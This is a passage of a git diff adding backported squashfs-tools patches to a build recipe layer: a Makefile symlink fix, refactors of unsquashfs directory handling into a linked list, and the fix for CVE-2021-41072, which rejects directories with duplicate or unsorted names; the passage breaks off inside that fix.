+
+In case INSTALL_DIR is overridden with a staged install location, using
+INSTALL_DIR for the symlink target path prefix will yield an incorrect location
+for the final installation.
+
+Because the symlink itself is already installed to INSTALL_DIR, simply removing
+the INSTALL_DIR prefix suffices as a fix.
+
+Note that using $DESTDIR/$INSTALL_DIR where appropriate can avoid this type of
+issue, but that can be considered a future enhancement.
+
+Upstream-Status: Backport
+Signed-off-by: Patrick McCarty <patrick.mccarty@intel.com>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ squashfs-tools/Makefile | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/squashfs-tools/Makefile b/squashfs-tools/Makefile
+index 5795d0d..998c5fd 100755
+--- a/Makefile
++++ b/Makefile
+@@ -406,5 +406,5 @@ install: mksquashfs unsquashfs
+ mkdir -p $(INSTALL_DIR)
+ cp mksquashfs $(INSTALL_DIR)
+ cp unsquashfs $(INSTALL_DIR)
+- ln -fs $(INSTALL_DIR)/unsquashfs $(INSTALL_DIR)/sqfscat
+- ln -fs $(INSTALL_DIR)/mksquashfs $(INSTALL_DIR)/sqfstar
++ ln -fs unsquashfs $(INSTALL_DIR)/sqfscat
++ ln -fs mksquashfs $(INSTALL_DIR)/sqfstar
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-1.patch b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-1.patch
new file mode 100644
index 0000000000..d01b5c6871
--- /dev/null
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-1.patch
@@ -0,0 +1,135 @@
+The commit is required by the fix for CVE-2021-41072.
+
+Upstream-Status: Backport [https://github.com/plougher/squashfs-tools/commit/80b8441]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+From 80b8441a37fcf8bf07dacf24d9d6c6459a0f6e36 Mon Sep 17 00:00:00 2001
+From: Phillip Lougher <phillip@squashfs.org.uk>
+Date: Sun, 12 Sep 2021 19:58:19 +0100
+Subject: [PATCH] unsquashfs: use squashfs_closedir() to delete directory
+
+Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
+---
+ squashfs-tools/unsquash-1.c | 3 +--
+ squashfs-tools/unsquash-1234.c | 11 +++++++++--
+ squashfs-tools/unsquash-2.c | 3 +--
+ squashfs-tools/unsquash-3.c | 3 +--
+ squashfs-tools/unsquash-4.c | 3 +--
+ squashfs-tools/unsquashfs.c | 7 -------
+ squashfs-tools/unsquashfs.h | 1 +
+ 7 files changed, 14 insertions(+), 17 deletions(-)
+
+diff --git a/squashfs-tools/unsquash-1.c b/squashfs-tools/unsquash-1.c
+index acba821..7598499 100644
+--- a/squashfs-tools/unsquash-1.c
++++ b/squashfs-tools/unsquash-1.c
+@@ -373,8 +373,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ return dir;
+
+ corrupted:
+- free(dir->dirs);
+- free(dir);
++ squashfs_closedir(dir);
+ return NULL;
+ }
+
+diff --git a/squashfs-tools/unsquash-1234.c b/squashfs-tools/unsquash-1234.c
+index c2d4f42..0c8dfbb 100644
+--- a/squashfs-tools/unsquash-1234.c
++++ b/squashfs-tools/unsquash-1234.c
+@@ -25,8 +25,8 @@
+ * unsquash-4.
+ */
+
+-#define TRUE 1
+-#define FALSE 0
++#include "unsquashfs.h"
++
+ /*
+ * Check name for validity, name should not
+ * - be ".", "./", or
+@@ -56,3 +56,10 @@ int check_name(char *name, int size)
+
+ return TRUE;
+ }
++
++
++void squashfs_closedir(struct dir *dir)
++{
++ free(dir->dirs);
++ free(dir);
++}
+diff --git a/squashfs-tools/unsquash-2.c b/squashfs-tools/unsquash-2.c
+index 0746b3d..86f62ba 100644
+--- a/squashfs-tools/unsquash-2.c
++++ b/squashfs-tools/unsquash-2.c
+@@ -465,8 +465,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ return dir;
+
+ corrupted:
+- free(dir->dirs);
+- free(dir);
++ squashfs_closedir(dir);
+ return NULL;
+ }
+
+diff --git a/squashfs-tools/unsquash-3.c b/squashfs-tools/unsquash-3.c
+index 094caaa..c04aa9e 100644
+--- a/squashfs-tools/unsquash-3.c
++++ b/squashfs-tools/unsquash-3.c
+@@ -499,8 +499,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ return dir;
+
+ corrupted:
+- free(dir->dirs);
+- free(dir);
++ squashfs_closedir(dir);
+ return NULL;
+ }
+
+diff --git a/squashfs-tools/unsquash-4.c b/squashfs-tools/unsquash-4.c
+index 3a1b9e1..ff62dcc 100644
+--- a/squashfs-tools/unsquash-4.c
++++ b/squashfs-tools/unsquash-4.c
+@@ -436,8 +436,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ return dir;
+
+ corrupted:
+- free(dir->dirs);
+- free(dir);
++ squashfs_closedir(dir);
+ return NULL;
+ }
+
+diff --git a/squashfs-tools/unsquashfs.c b/squashfs-tools/unsquashfs.c
+index 7b590bd..04be53c 100644
+--- a/squashfs-tools/unsquashfs.c
++++ b/squashfs-tools/unsquashfs.c
+@@ -1350,13 +1350,6 @@ unsigned int *offset, unsigned int *type)
+ }
+
+
+-void squashfs_closedir(struct dir *dir)
+-{
+- free(dir->dirs);
+- free(dir);
+-}
+-
+-
+ char *get_component(char *target, char **targname)
+ {
+ char *start;
+diff --git a/squashfs-tools/unsquashfs.h b/squashfs-tools/unsquashfs.h
+index 2e9201c..5ecb2ab 100644
+--- a/squashfs-tools/unsquashfs.h
++++ b/squashfs-tools/unsquashfs.h
+@@ -291,4 +291,5 @@ extern long long *alloc_index_table(int);
+
+ /* unsquash-1234.c */
+ extern int check_name(char *, int);
++extern void squashfs_closedir(struct dir *);
+ #endif
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-2.patch b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-2.patch
new file mode 100644
index 0000000000..6b230b35c6
--- /dev/null
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-2.patch
@@ -0,0 +1,108 @@
+The commit is required by the fix for CVE-2021-41072.
+
+Upstream-Status: Backport [https://github.com/plougher/squashfs-tools/commit/1993a4e]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+From 1993a4e7aeda04962bf26e84c15fba8b58837e10 Mon Sep 17 00:00:00 2001
+From: Phillip Lougher <phillip@squashfs.org.uk>
+Date: Sun, 12 Sep 2021 20:09:13 +0100
+Subject: [PATCH] unsquashfs: dynamically allocate name
+
+Dynamically allocate name rather than store it
+directly in structure.
+
+Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
+---
+ squashfs-tools/unsquash-1.c | 2 +-
+ squashfs-tools/unsquash-1234.c | 5 +++++
+ squashfs-tools/unsquash-2.c | 2 +-
+ squashfs-tools/unsquash-3.c | 2 +-
+ squashfs-tools/unsquash-4.c | 2 +-
+ squashfs-tools/unsquashfs.h | 2 +-
+ 6 files changed, 10 insertions(+), 5 deletions(-)
+
+diff --git a/squashfs-tools/unsquash-1.c b/squashfs-tools/unsquash-1.c
+index 7598499..d0121c6 100644
+--- a/squashfs-tools/unsquash-1.c
++++ b/squashfs-tools/unsquash-1.c
+@@ -360,7 +360,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ dir->dirs = new_dir;
+ }
+
+- strcpy(dir->dirs[dir->dir_count].name, dire->name);
++ dir->dirs[dir->dir_count].name = strdup(dire->name);
+ dir->dirs[dir->dir_count].start_block =
+ dirh.start_block;
+ dir->dirs[dir->dir_count].offset = dire->offset;
+diff --git a/squashfs-tools/unsquash-1234.c b/squashfs-tools/unsquash-1234.c
+index 0c8dfbb..ac46d9d 100644
+--- a/squashfs-tools/unsquash-1234.c
++++ b/squashfs-tools/unsquash-1234.c
+@@ -60,6 +60,11 @@ int check_name(char *name, int size)
+
+ void squashfs_closedir(struct dir *dir)
+ {
++ int i;
++
++ for(i = 0; i < dir->dir_count; i++)
++ free(dir->dirs[i].name);
++
+ free(dir->dirs);
+ free(dir);
+ }
+diff --git a/squashfs-tools/unsquash-2.c b/squashfs-tools/unsquash-2.c
+index 86f62ba..e847980 100644
+--- a/squashfs-tools/unsquash-2.c
++++ b/squashfs-tools/unsquash-2.c
+@@ -452,7 +452,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ dir->dirs = new_dir;
+ }
+
+- strcpy(dir->dirs[dir->dir_count].name, dire->name);
++ dir->dirs[dir->dir_count].name = strdup(dire->name);
+ dir->dirs[dir->dir_count].start_block =
+ dirh.start_block;
+ dir->dirs[dir->dir_count].offset = dire->offset;
+diff --git a/squashfs-tools/unsquash-3.c b/squashfs-tools/unsquash-3.c
+index c04aa9e..8223f27 100644
+--- a/squashfs-tools/unsquash-3.c
++++ b/squashfs-tools/unsquash-3.c
+@@ -486,7 +486,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ dir->dirs = new_dir;
+ }
+
+- strcpy(dir->dirs[dir->dir_count].name, dire->name);
++ dir->dirs[dir->dir_count].name = strdup(dire->name);
+ dir->dirs[dir->dir_count].start_block =
+ dirh.start_block;
+ dir->dirs[dir->dir_count].offset = dire->offset;
+diff --git a/squashfs-tools/unsquash-4.c b/squashfs-tools/unsquash-4.c
+index ff62dcc..1e199a7 100644
+--- a/squashfs-tools/unsquash-4.c
++++ b/squashfs-tools/unsquash-4.c
+@@ -423,7 +423,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ dir->dirs = new_dir;
+ }
+
+- strcpy(dir->dirs[dir->dir_count].name, dire->name);
++ dir->dirs[dir->dir_count].name = strdup(dire->name);
+ dir->dirs[dir->dir_count].start_block =
+ dirh.start_block;
+ dir->dirs[dir->dir_count].offset = dire->offset;
+diff --git a/squashfs-tools/unsquashfs.h b/squashfs-tools/unsquashfs.h
+index 5ecb2ab..583fbe4 100644
+--- a/squashfs-tools/unsquashfs.h
++++ b/squashfs-tools/unsquashfs.h
+@@ -164,7 +164,7 @@ struct queue {
+ #define DIR_ENT_SIZE 16
+
+ struct dir_ent {
+- char name[SQUASHFS_NAME_LEN + 1];
++ char *name;
+ unsigned int start_block;
+ unsigned int offset;
+ unsigned int type;
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-3.patch b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-3.patch
new file mode 100644
index 0000000000..5d5df6f15b
--- /dev/null
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072-requisite-3.patch
@@ -0,0 +1,326 @@
+The commit is required by the fix for CVE-2021-41072.
+
+Upstream-Status: Backport [https://github.com/plougher/squashfs-tools/commit/9938154]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+From 9938154174756ee48a94ea0b076397a2944b028d Mon Sep 17 00:00:00 2001
+From: Phillip Lougher <phillip@squashfs.org.uk>
+Date: Sun, 12 Sep 2021 22:58:11 +0100
+Subject: [PATCH] unsquashfs: use linked list to store directory names
+
+This should bring higher performance, and it allows sorting
+if necessary (1.x and 2.0 filesystems).
+
+Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
+---
+ squashfs-tools/unsquash-1.c | 30 +++++++++++++++---------------
+ squashfs-tools/unsquash-1234.c | 12 ++++++++----
+ squashfs-tools/unsquash-2.c | 29 +++++++++++++++--------------
+ squashfs-tools/unsquash-3.c | 29 +++++++++++++++--------------
+ squashfs-tools/unsquash-4.c | 29 +++++++++++++++--------------
+ squashfs-tools/unsquashfs.c | 16 ++++++++++------
+ squashfs-tools/unsquashfs.h | 3 ++-
+ 7 files changed, 80 insertions(+), 68 deletions(-)
+
+diff --git a/squashfs-tools/unsquash-1.c b/squashfs-tools/unsquash-1.c
+index d0121c6..b604434 100644
+--- a/squashfs-tools/unsquash-1.c
++++ b/squashfs-tools/unsquash-1.c
+@@ -254,7 +254,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ long long start;
+ int bytes = 0;
+ int dir_count, size, res;
+- struct dir_ent *new_dir;
++ struct dir_ent *ent, *cur_ent = NULL;
+ struct dir *dir;
+
+ TRACE("squashfs_opendir: inode start block %d, offset %d\n",
+@@ -267,7 +267,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ MEM_ERROR();
+
+ dir->dir_count = 0;
+- dir->cur_entry = 0;
++ dir->cur_entry = NULL;
+ dir->mode = (*i)->mode;
+ dir->uid = (*i)->uid;
+ dir->guid = (*i)->gid;
+@@ -351,20 +351,20 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ "%d:%d, type %d\n", dire->name,
+ dirh.start_block, dire->offset, dire->type);
+
+- if((dir->dir_count % DIR_ENT_SIZE) == 0) {
+- new_dir = realloc(dir->dirs, (dir->dir_count +
+- DIR_ENT_SIZE) * sizeof(struct dir_ent));
+- if(new_dir == NULL)
+- MEM_ERROR();
+-
+- dir->dirs = new_dir;
+- }
++ ent = malloc(sizeof(struct dir_ent));
++ if(ent == NULL)
++ MEM_ERROR();
+
+- dir->dirs[dir->dir_count].name = strdup(dire->name);
+- dir->dirs[dir->dir_count].start_block =
+- dirh.start_block;
+- dir->dirs[dir->dir_count].offset = dire->offset;
+- dir->dirs[dir->dir_count].type = dire->type;
++ ent->name = strdup(dire->name);
++ ent->start_block = dirh.start_block;
++ ent->offset = dire->offset;
++ ent->type = dire->type;
++ ent->next = NULL;
++ if(cur_ent == NULL)
++ dir->dirs = ent;
++ else
++ cur_ent->next = ent;
++ cur_ent = ent;
+ dir->dir_count ++;
+ bytes += dire->size + 1;
+ }
+diff --git a/squashfs-tools/unsquash-1234.c b/squashfs-tools/unsquash-1234.c
+index ac46d9d..e389f8d 100644
+--- a/squashfs-tools/unsquash-1234.c
++++ b/squashfs-tools/unsquash-1234.c
+@@ -60,11 +60,15 @@ int check_name(char *name, int size)
+
+ void squashfs_closedir(struct dir *dir)
+ {
+- int i;
++ struct dir_ent *ent = dir->dirs;
+
+- for(i = 0; i < dir->dir_count; i++)
+- free(dir->dirs[i].name);
++ while(ent) {
++ struct dir_ent *tmp = ent;
++
++ ent = ent->next;
++ free(tmp->name);
++ free(tmp);
++ }
+
+- free(dir->dirs);
+ free(dir);
+ }
+diff --git a/squashfs-tools/unsquash-2.c b/squashfs-tools/unsquash-2.c
+index e847980..956f96f 100644
+--- a/squashfs-tools/unsquash-2.c
++++ b/squashfs-tools/unsquash-2.c
+@@ -347,7 +347,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ long long start;
+ int bytes = 0;
+ int dir_count, size, res;
+- struct dir_ent *new_dir;
++ struct dir_ent *ent, *cur_ent = NULL;
+ struct dir *dir;
+
+ TRACE("squashfs_opendir: inode start block %d, offset %d\n",
+@@ -360,7 +360,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ MEM_ERROR();
+
+ dir->dir_count = 0;
+- dir->cur_entry = 0;
++ dir->cur_entry = NULL;
+ dir->mode = (*i)->mode;
+ dir->uid = (*i)->uid;
+ dir->guid = (*i)->gid;
+@@ -444,19 +444,20 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ "%d:%d, type %d\n", dire->name,
+ dirh.start_block, dire->offset, dire->type);
+
+- if((dir->dir_count % DIR_ENT_SIZE) == 0) {
+- new_dir = realloc(dir->dirs, (dir->dir_count +
+- DIR_ENT_SIZE) * sizeof(struct dir_ent));
+- if(new_dir == NULL)
+- MEM_ERROR();
+- dir->dirs = new_dir;
+- }
++ ent = malloc(sizeof(struct dir_ent));
++ if(ent == NULL)
++ MEM_ERROR();
+
+- dir->dirs[dir->dir_count].name = strdup(dire->name);
+- dir->dirs[dir->dir_count].start_block =
+- dirh.start_block;
+- dir->dirs[dir->dir_count].offset = dire->offset;
+- dir->dirs[dir->dir_count].type = dire->type;
++ ent->name = strdup(dire->name);
++ ent->start_block = dirh.start_block;
++ ent->offset = dire->offset;
++ ent->type = dire->type;
++ ent->next = NULL;
++ if(cur_ent == NULL)
++ dir->dirs = ent;
++ else
++ cur_ent->next = ent;
++ cur_ent = ent;
+ dir->dir_count ++;
+ bytes += dire->size + 1;
+ }
+diff --git a/squashfs-tools/unsquash-3.c b/squashfs-tools/unsquash-3.c
+index 8223f27..835a574 100644
+--- a/squashfs-tools/unsquash-3.c
++++ b/squashfs-tools/unsquash-3.c
+@@ -381,7 +381,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ long long start;
+ int bytes = 0;
+ int dir_count, size, res;
+- struct dir_ent *new_dir;
++ struct dir_ent *ent, *cur_ent = NULL;
+ struct dir *dir;
+
+ TRACE("squashfs_opendir: inode start block %d, offset %d\n",
+@@ -394,7 +394,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ MEM_ERROR();
+
+ dir->dir_count = 0;
+- dir->cur_entry = 0;
++ dir->cur_entry = NULL;
+ dir->mode = (*i)->mode;
+ dir->uid = (*i)->uid;
+ dir->guid = (*i)->gid;
+@@ -478,19 +478,20 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ "%d:%d, type %d\n", dire->name,
+ dirh.start_block, dire->offset, dire->type);
+
+- if((dir->dir_count % DIR_ENT_SIZE) == 0) {
+- new_dir = realloc(dir->dirs, (dir->dir_count +
+- DIR_ENT_SIZE) * sizeof(struct dir_ent));
+- if(new_dir == NULL)
+- MEM_ERROR();
+- dir->dirs = new_dir;
+- }
++ ent = malloc(sizeof(struct dir_ent));
++ if(ent == NULL)
++ MEM_ERROR();
+
+- dir->dirs[dir->dir_count].name = strdup(dire->name);
+- dir->dirs[dir->dir_count].start_block =
+- dirh.start_block;
+- dir->dirs[dir->dir_count].offset = dire->offset;
+- dir->dirs[dir->dir_count].type = dire->type;
++ ent->name = strdup(dire->name);
++ ent->start_block = dirh.start_block;
++ ent->offset = dire->offset;
++ ent->type = dire->type;
++ ent->next = NULL;
++ if(cur_ent == NULL)
++ dir->dirs = ent;
++ else
++ cur_ent->next = ent;
++ cur_ent = ent;
+ dir->dir_count ++;
+ bytes += dire->size + 1;
+ }
+diff --git a/squashfs-tools/unsquash-4.c b/squashfs-tools/unsquash-4.c
+index 1e199a7..694783d 100644
+--- a/squashfs-tools/unsquash-4.c
++++ b/squashfs-tools/unsquash-4.c
+@@ -331,7 +331,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ struct squashfs_dir_entry *dire = (struct squashfs_dir_entry *) buffer;
+ long long start;
+ int bytes = 0, dir_count, size, res;
+- struct dir_ent *new_dir;
++ struct dir_ent *ent, *cur_ent = NULL;
+ struct dir *dir;
+
+ TRACE("squashfs_opendir: inode start block %d, offset %d\n",
+@@ -344,7 +344,7 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ MEM_ERROR();
+
+ dir->dir_count = 0;
+- dir->cur_entry = 0;
++ dir->cur_entry = NULL;
+ dir->mode = (*i)->mode;
+ dir->uid = (*i)->uid;
+ dir->guid = (*i)->gid;
+@@ -415,19 +415,20 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ "%d:%d, type %d\n", dire->name,
+ dirh.start_block, dire->offset, dire->type);
+
+- if((dir->dir_count % DIR_ENT_SIZE) == 0) {
+- new_dir = realloc(dir->dirs, (dir->dir_count +
+- DIR_ENT_SIZE) * sizeof(struct dir_ent));
+- if(new_dir == NULL)
+- MEM_ERROR();
+- dir->dirs = new_dir;
+- }
++ ent = malloc(sizeof(struct dir_ent));
++ if(ent == NULL)
++ MEM_ERROR();
+
+- dir->dirs[dir->dir_count].name = strdup(dire->name);
+- dir->dirs[dir->dir_count].start_block =
+- dirh.start_block;
+- dir->dirs[dir->dir_count].offset = dire->offset;
+- dir->dirs[dir->dir_count].type = dire->type;
++ ent->name = strdup(dire->name);
++ ent->start_block = dirh.start_block;
++ ent->offset = dire->offset;
++ ent->type = dire->type;
++ ent->next = NULL;
++ if(cur_ent == NULL)
++ dir->dirs = ent;
++ else
++ cur_ent->next = ent;
++ cur_ent = ent;
+ dir->dir_count ++;
+ bytes += dire->size + 1;
+ }
+diff --git a/squashfs-tools/unsquashfs.c b/squashfs-tools/unsquashfs.c
+index 04be53c..fee28ec 100644
+--- a/squashfs-tools/unsquashfs.c
++++ b/squashfs-tools/unsquashfs.c
+@@ -1337,14 +1337,18 @@ failed:
+ int squashfs_readdir(struct dir *dir, char **name, unsigned int *start_block,
+ unsigned int *offset, unsigned int *type)
+ {
+- if(dir->cur_entry == dir->dir_count)
++ if(dir->cur_entry == NULL)
++ dir->cur_entry = dir->dirs;
++ else
++ dir->cur_entry = dir->cur_entry->next;
++
++ if(dir->cur_entry == NULL)
+ return FALSE;
+
+- *name = dir->dirs[dir->cur_entry].name;
+- *start_block = dir->dirs[dir->cur_entry].start_block;
+- *offset = dir->dirs[dir->cur_entry].offset;
+- *type = dir->dirs[dir->cur_entry].type;
+- dir->cur_entry ++;
++ *name = dir->cur_entry->name;
++ *start_block = dir->cur_entry->start_block;
++ *offset = dir->cur_entry->offset;
++ *type = dir->cur_entry->type;
+
+ return TRUE;
+ }
+diff --git a/squashfs-tools/unsquashfs.h b/squashfs-tools/unsquashfs.h
+index 583fbe4..f8cf78c 100644
+--- a/squashfs-tools/unsquashfs.h
++++ b/squashfs-tools/unsquashfs.h
+@@ -168,17 +168,18 @@ struct dir_ent {
+ unsigned int start_block;
+ unsigned int offset;
+ unsigned int type;
++ struct dir_ent *next;
+ };
+
+ struct dir {
+ int dir_count;
+- int cur_entry;
+ unsigned int mode;
+ uid_t uid;
+ gid_t guid;
+ unsigned int mtime;
+ unsigned int xattr;
+ struct dir_ent *dirs;
++ struct dir_ent *cur_entry;
+ };
+
+ struct file_entry {
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072.patch b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072.patch
new file mode 100644
index 0000000000..f807af60bc
--- /dev/null
+++ b/meta/recipes-devtools/squashfs-tools/squashfs-tools/CVE-2021-41072.patch
@@ -0,0 +1,329 @@
+CVE: CVE-2021-41072
+Upstream-Status: Backport [https://github.com/plougher/squashfs-tools/commit/e048580]
+
+Update on 20211109:
+Squash a follow-up fix for CVE-2021-41072 from upstream:
+https://github.com/plougher/squashfs-tools/commit/19fcc93
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+From e0485802ec72996c20026da320650d8362f555bd Mon Sep 17 00:00:00 2001
+From: Phillip Lougher <phillip@squashfs.org.uk>
+Date: Sun, 12 Sep 2021 23:50:06 +0100
+Subject: [PATCH] Unsquashfs: additional write outside destination directory
+ exploit fix
+
+An issue on github (https://github.com/plougher/squashfs-tools/issues/72)
+showed how some specially crafted Squashfs filesystems containing
+invalid file names (with '/' and '..') can cause Unsquashfs to write
+files outside of the destination directory.
+
+Since then it has been shown that specially crafted Squashfs filesystems
+that contain a symbolic link pointing outside of the destination directory,
+coupled with an identically named file within the same directory, can
+cause Unsquashfs to write files outside of the destination directory.
+
+Specifically the symbolic link produces a pathname pointing outside
+of the destination directory, which is then followed when writing the
+duplicate identically named file within the directory.
+
+This commit fixes this exploit by explictly checking for duplicate
+filenames within a directory. As directories in v2.1, v3.x, and v4.0
+filesystems are sorted, this is achieved by checking for consecutively
+identical filenames. Additionally directories are checked to
+ensure they are sorted, to avoid attempts to evade the duplicate
+check.
+
+Version 1.x and 2.0 filesystems (where the directories were unsorted)
+are sorted and then the above duplicate filename check is applied.
+
+Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
+---
+ squashfs-tools/Makefile | 6 +-
+ squashfs-tools/unsquash-1.c | 6 ++
+ squashfs-tools/unsquash-12.c | 110 +++++++++++++++++++++++++++++++++
+ squashfs-tools/unsquash-1234.c | 21 +++++++
+ squashfs-tools/unsquash-2.c | 16 +++++
+ squashfs-tools/unsquash-3.c | 6 ++
+ squashfs-tools/unsquash-4.c | 6 ++
+ squashfs-tools/unsquashfs.h | 4 ++
+ 8 files changed, 173 insertions(+), 2 deletions(-)
+ create mode 100644 squashfs-tools/unsquash-12.c
+
+diff --git a/squashfs-tools/Makefile b/squashfs-tools/Makefile
+index 7262a2e..1b544ed 100755
+--- a/squashfs-tools/Makefile
++++ b/squashfs-tools/Makefile
+@@ -160,8 +160,8 @@ MKSQUASHFS_OBJS = mksquashfs.o read_fs.o action.o swap.o pseudo.o compressor.o \
+ caches-queues-lists.o reader.o tar.o
+
+ UNSQUASHFS_OBJS = unsquashfs.o unsquash-1.o unsquash-2.o unsquash-3.o \
+- unsquash-4.o unsquash-123.o unsquash-34.o unsquash-1234.o swap.o \
+- compressor.o unsquashfs_info.o
++ unsquash-4.o unsquash-123.o unsquash-34.o unsquash-1234.o unsquash-12.o \
++ swap.o compressor.o unsquashfs_info.o
+
+ CFLAGS ?= -O2
+ CFLAGS += $(EXTRA_CFLAGS) $(INCLUDEDIR) -D_FILE_OFFSET_BITS=64 \
+@@ -393,6 +393,8 @@ unsquash-34.o: unsquashfs.h unsquash-34.c unsquashfs_error.h
+
+ unsquash-1234.o: unsquash-1234.c unsquashfs_error.h
+
++unsquash-12.o: unsquash-12.c unsquashfs.h
++
+ unsquashfs_xattr.o: unsquashfs_xattr.c unsquashfs.h squashfs_fs.h xattr.h unsquashfs_error.h
+
+ unsquashfs_info.o: unsquashfs.h squashfs_fs.h unsquashfs_error.h
+diff --git a/squashfs-tools/unsquash-1.c b/squashfs-tools/unsquash-1.c
+index b604434..88866fc 100644
+--- a/squashfs-tools/unsquash-1.c
++++ b/squashfs-tools/unsquash-1.c
+@@ -370,6 +370,12 @@ static struct dir *squashfs_opendir(unsigned int block_start, unsigned int offse
+ }
+ }
+
++ /* check directory for duplicate names. Need to sort directory first */
++ sort_directory(dir);
++ if(check_directory(dir) == FALSE) {
++ ERROR("File system corrupted: directory has duplicate names\n");
++ goto corrupted;
++ }
+ return dir;
+
+ corrupted:
+diff --git a/squashfs-tools/unsquash-12.c b/squashfs-tools/unsquash-12.c
+new file mode 100644
+index 0000000..61bf128
+--- /dev/null
++++ b/squashfs-tools/unsquash-12.c
+@@ -0,0 +1,110 @@
++/*
++ * Unsquash a squashfs filesystem. This is a highly compressed read only
++ * filesystem.
++ *
++ * Copyright (c) 2021
++ * Phillip Lougher <phillip@squashfs.org.uk>
++ *
++ * This program is free software; you can redistribute it and/or
++ * modify it under the terms of the GNU General Public License
++ * as published by the Free Software Foundation; either version 2,
++ * or (at your option) any later version.
++ *
++ * This program is distributed in the hope that it will be useful,
++ * but WITHOUT ANY WARRANTY; without even the implied warranty of
++ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ * GNU General Public License for more details.
++ *
++ * You should have received a copy of the GNU General Public License
++ * along with this program; if not, write to the Free Software
++ * Foundation, 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
++ *
++ * unsquash-12.c
++ *
++ * Helper functions used by unsquash-1 and unsquash-2.
++ */
++
++#include "unsquashfs.h"
++
++/*
++ * Bottom up linked list merge sort.
++ *
++ */
++void sort_directory(struct dir *dir)
++{
++ struct dir_ent *cur, *l1, *l2, *next;
++ int len1, len2, stride = 1;
++
++ if(dir->dir_count < 2)
++ return;
++
++ /*
++ * We can consider our linked-list to be made up of stride length
++ * sublists. Eacn iteration around this loop merges adjacent
++ * stride length sublists into larger 2*stride sublists. We stop
++ * when stride becomes equal to the entire list.
++ *
++ * Initially stride = 1 (by definition a sublist of 1 is sorted), and
++ * these 1 element sublists are merged into 2 element sublists, which
++ * are then merged into 4 element sublists and so on.
++ */
++ do {
++ l2 = dir->dirs; /* head of current linked list */
++ cur = NULL; /* empty output list */
++
++ /*
++ * Iterate through the linked list, merging adjacent sublists.
++ * On each interation l2 points to the next sublist pair to be
++ * merged (if there's only one sublist left this is simply added
++ * to the output list)
++ */
++ while(l2) {
++ l1 = l2;
++ for(len1 = 0; l2 && len1 < stride; len1 ++, l2 = l2->next);
++ len2 = stride;
++
++ /*
++ * l1 points to first sublist.
++ * l2 points to second sublist.
++ * Merge them onto the output list
++ */
++ while(len1 && l2 && len2) {
++ if(strcmp(l1->name, l2->name) <= 0) {
++ next = l1;
++ l1 = l1->next;
++ len1 --;
++ } else {
++ next = l2;
++ l2 = l2->next;
++ len2 --;
++ }
++
++ if(cur) {
++ cur->next = next;
++ cur = next;
++ } else
++ dir->dirs = cur = next;
++ }
++ /*
++ * One sublist is now empty, copy the other one onto the
++ * output list
++ */
++ for(; len1; len1 --, l1 = l1->next) {
++ if(cur) {
++ cur->next = l1;
++ cur = l1;
++ } else
++ dir->dirs = cur = l1;
++ }
++ for(; l2 && len2; len2 --, l2 = l2->next) {
++ if(cur) {
++ cur->next = l2;
++ cur = l2;
++ } else
++ dir->dirs = cur = l2;
++ }
++ }
++ cur->next = NULL;
++ stride = stride << 1;
++ } while(stride < dir->dir_count);
++}
+diff --git a/squashfs-tools/unsquash-1234.c b/squashfs-tools/unsquash-1234.c
+index e389f8d..98a81ed 100644
+--- a/squashfs-tools/unsquash-1234.c
++++ b/squashfs-tools/unsquash-1234.c
+@@ -72,3 +72,24 @@ void squashfs_closedir(struct dir *dir)
+
+ free(dir);
+ }
++
++
++/*
++ * Check directory for duplicate names. As the directory should be sorted,
++ * duplicates will be consecutive. Obviously we also need to check if the
++ * directory has been deliberately unsorted, to evade this check.
++ */
++int check_directory(struct dir *dir)
++{
